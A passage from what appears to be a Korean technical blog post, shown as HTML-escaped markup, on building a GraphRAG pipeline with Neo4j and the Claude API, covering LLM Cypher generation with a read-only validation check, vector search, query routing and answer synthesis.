  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;messages&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;claude-sonnet-4-6&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;max_tokens&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;당신은 Neo4j Cypher 쿼리 생성기입니다.\n\n스키마:\n&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;SCHEMA&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;\n\n규칙:\n- 위 라벨·관계만 사용\n- 쓰기 명령(CREATE/MERGE/DELETE/SET) 금지\n- 결과는 명시적으로 LIMIT 25 이하&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;cache_control&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ephemeral&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;cypherTool&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;tool_choice&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;tool&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;run_cypher&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;role&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; question &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;type &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;tool_use&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;input
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 안전 장치 두 가지가 들어가 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;읽기 전용&lt;/strong&gt;을 시스템 프롬프트로 강제 — &lt;code class=&quot;language-text&quot;&gt;tool_choice&lt;/code&gt;로 도구 호출만 허용해도, LLM이 쓰기 쿼리를 만들 수 있습니다. 그래서 실행 직전에도 한 번 더 검사합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LIMIT 강제&lt;/strong&gt; — LLM이 잊고 LIMIT을 안 걸면 전체 그래프를 긁어올 수 있어서요.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;실행 직전 검증:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;isReadOnly&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;cypher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; upper &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cypher&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toUpperCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token regex&quot;&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token regex-source language-regex&quot;&gt;\b(CREATE|MERGE|DELETE|SET|REMOVE|DROP|CALL\s+APOC\.PERIODIC)\b&lt;/span&gt;&lt;span class=&quot;token regex-delimiter&quot;&gt;/&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    upper
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;executeCypher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cypher&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; params &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isReadOnly&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cypher&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;쓰기 쿼리 거부&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeRead&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tx&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cypher&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; params &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; result&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;records&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;LLM 출력은 의심하고 검증하는 게 GraphRAG 운영의 첫 번째 규칙입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;단계 2: 벡터 검색 결합 — 의미 매칭 보강&lt;/h2&gt;
&lt;p&gt;순수 그래프 질의로는 &quot;RAG 정확도 올리는 방법&quot; 같은 의미 기반 질의가 약합니다. 같은 그래프 위에 &lt;strong&gt;벡터 인덱스&lt;/strong&gt;를 얹어 보강합니다.&lt;/p&gt;
&lt;p&gt;Neo4j 5+는 벡터 인덱스를 기본 지원합니다. Post 본문을 임베딩해 인덱스로 만들어둡니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; VECTOR &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; post_body_idx IF &lt;span class=&quot;token keyword&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;embedding&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
OPTIONS &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;indexConfig&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token identifier&quot;&gt;`vector.dimensions`&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1536&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token identifier&quot;&gt;`vector.similarity_function`&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;cosine&apos;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;임베딩 적재는 3편 적재 스크립트에 한 단계 추가합니다. OpenAI나 Voyage AI 같은 임베딩 모델을 호출해 Post 노드의 &lt;code class=&quot;language-text&quot;&gt;embedding&lt;/code&gt; 속성에 저장합니다.&lt;/p&gt;
&lt;p&gt;질의 시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;vectorSearch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; question&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; topK &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; embedding &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;embed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;question&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 임베딩 함수&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeRead&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tx&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
    tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;CALL db.index.vector.queryNodes(&apos;post_body_idx&apos;, $topK, $embedding)
       YIELD node, score
       RETURN node.slug AS slug, node.title AS title, score&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; embedding&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; topK &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; result&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;records&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 하면 그래프 안에서 벡터 유사도 검색이 한 번에 됩니다. 별도 벡터 DB가 필요 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;단계 3: 라우팅 — 그래프 vs 벡터 vs 둘 다&lt;/h2&gt;
&lt;p&gt;질의를 받았을 때 어느 채널로 보낼지 LLM에 한 번 묻습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; routerTool &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;route_query&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;input_schema&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;enum&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;graph&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vector&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hybrid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;mode&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reason&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;규칙은 LLM에 한국어로 설명해도 잘 따라줍니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;mode 선택:
- graph: 명확한 엔티티/관계가 보이는 질의 (시리즈, 태그, 인용, 선수 글 등)
- vector: 의미적 유사성 기반 탐색 (&quot;~한 글&quot;, &quot;비슷한 내용&quot;)
- hybrid: 둘 다 필요할 때&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;라우팅이 정해지면 해당 채널을 호출하고, 결과를 다음 단계로 넘깁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;단계 4: 답변 합성 — LLM이 결과를 자연어로&lt;/h2&gt;
&lt;p&gt;그래프 결과는 객체 배열, 벡터 결과도 객체 배열입니다. 그대로 사용자에게 보여주면 &quot;그래서 답이 뭐냐&quot;가 안 보이죠. LLM에 다시 넘겨 답변을 합성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;synthesize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;question&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; graphRows&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; vectorRows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; context &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; graphRows&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; vectorRows &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;messages&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;claude-sonnet-4-6&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;max_tokens&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&quot;주어진 결과만으로 답하세요. 결과에 없는 사실은 만들지 마세요. 마지막에 근거가 된 글 slug 목록을 [refs: ...] 형태로 첨부합니다.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
